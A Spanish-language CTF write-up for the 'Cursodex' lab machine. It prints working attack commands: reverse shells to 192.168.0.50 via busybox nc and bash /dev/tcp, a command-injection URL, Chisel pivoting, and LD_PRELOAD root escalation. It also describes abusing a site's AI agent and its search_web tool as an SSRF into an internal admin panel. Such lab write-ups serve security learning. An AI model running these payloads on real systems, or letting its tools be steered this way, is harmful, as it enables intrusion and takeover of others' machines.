Write-ups

Resolución del CTF Cursodex


Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.

sudo nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.100
  • -p- : Escaneo de todos los puertos. (65535)
  • -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
  • -sC : Escaneo con scripts básicos de reconocimiento.
  • -sV : Detección de servicios.
  • –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
  • -n : Sin resolución DNS.
  • -Pn : Sin descubrimiento por ping.

El escaneo identifica el puerto 80/TCP con Apache 2.4.65 y una redirección HTTP hacia el dominio cursodex.thl.

Enumeración web

Configuramos la resolución local del dominio y accedemos a la aplicación web principal.

echo "192.168.0.100 cursodex.thl" | sudo tee -a /etc/hosts

El sitio expone un agente de IA con capacidad de consulta externa. Durante la enumeración de subdominios identificamos un panel administrativo.

gobuster dns -d cursodex.thl -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

Se descubre el subdominio admin.cursodex.thl, restringido a acceso local.

echo "192.168.0.100 admin.cursodex.thl" | sudo tee -a /etc/hosts

SSRF a través del agente de IA

El agente de IA dispone de la herramienta search_web, que acepta una URL arbitraria. Utilizamos esta funcionalidad para forzar peticiones internas contra el panel administrativo, obteniendo su código HTML y JavaScript.

El análisis del archivo script.js revela que el panel ejecuta comandos del sistema en función de los parámetros GET management_command y command_param. El comando ps_grep concatena directamente el parámetro recibido, introduciendo una inyección de comandos.

Acceso inicial

Abusamos del SSRF para solicitar al agente que visite una URL especialmente construida, inyectando un payload de reverse shell en el parámetro vulnerable.

nc -lvnp 9000
http://admin.cursodex.thl/?management_command=ps_grep&command_param=apache%3Bbusybox%20nc%20192.168.0.50%209000%20-e%20bash

Obtenemos una shell como www-data y procedemos a estabilizarla.

SHELL=/bin/bash script -q /dev/null

Enumeración interna

Desde la shell identificamos servicios escuchando únicamente en localhost.

ss -tuln

Destacan los puertos 11434 y 3001. El puerto 3001 corresponde a una aplicación Express expuesta solo internamente.

Pivoting con Chisel

Reenviamos el puerto 3001 a nuestra máquina para interactuar con la aplicación interna.

./chisel server -p 1234 --reverse
./chisel client 192.168.0.50:1234 R:3001:127.0.0.1:3001

Movimiento lateral

Fuzzeamos el servicio reenviado y localizamos el endpoint /system, accesible vía POST y vulnerable a ejecución remota de comandos.

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://127.0.0.1:3001/FUZZ -X POST -fc 404

Confirmamos la ejecución de comandos como el usuario agent.

curl -X POST http://127.0.0.1:3001/system -H "Content-Type: application/json" -d '{"command":"id","args":[]}'

Lanzamos una reverse shell y obtenemos acceso interactivo como agent.

curl -X POST http://127.0.0.1:3001/system -H "Content-Type: application/json" -d '{"command":"bash","args":["-c","bash -i >& /dev/tcp/192.168.0.50/9002 0>&1"]}'

Escalada de privilegios

En el directorio home de agent encontramos una nota cuyo acróstico revela la contraseña del usuario, permitiendo autenticarnos desde un proceso sin la restricción no_new_privs.

su agent

La enumeración de sudo muestra permiso para ejecutar /bin/date preservando la variable LD_PRELOAD, habilitando una escalada mediante carga de librerías.

sudo -l

Compilamos una librería compartida maliciosa que eleva privilegios al cargarse.

gcc -fPIC -shared -o /tmp/exploit.so exploit.c -nostartfiles

Ejecutamos date con sudo cargando la librería y obtenemos una shell como root.

sudo LD_PRELOAD=/tmp/exploit.so /bin/date


Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *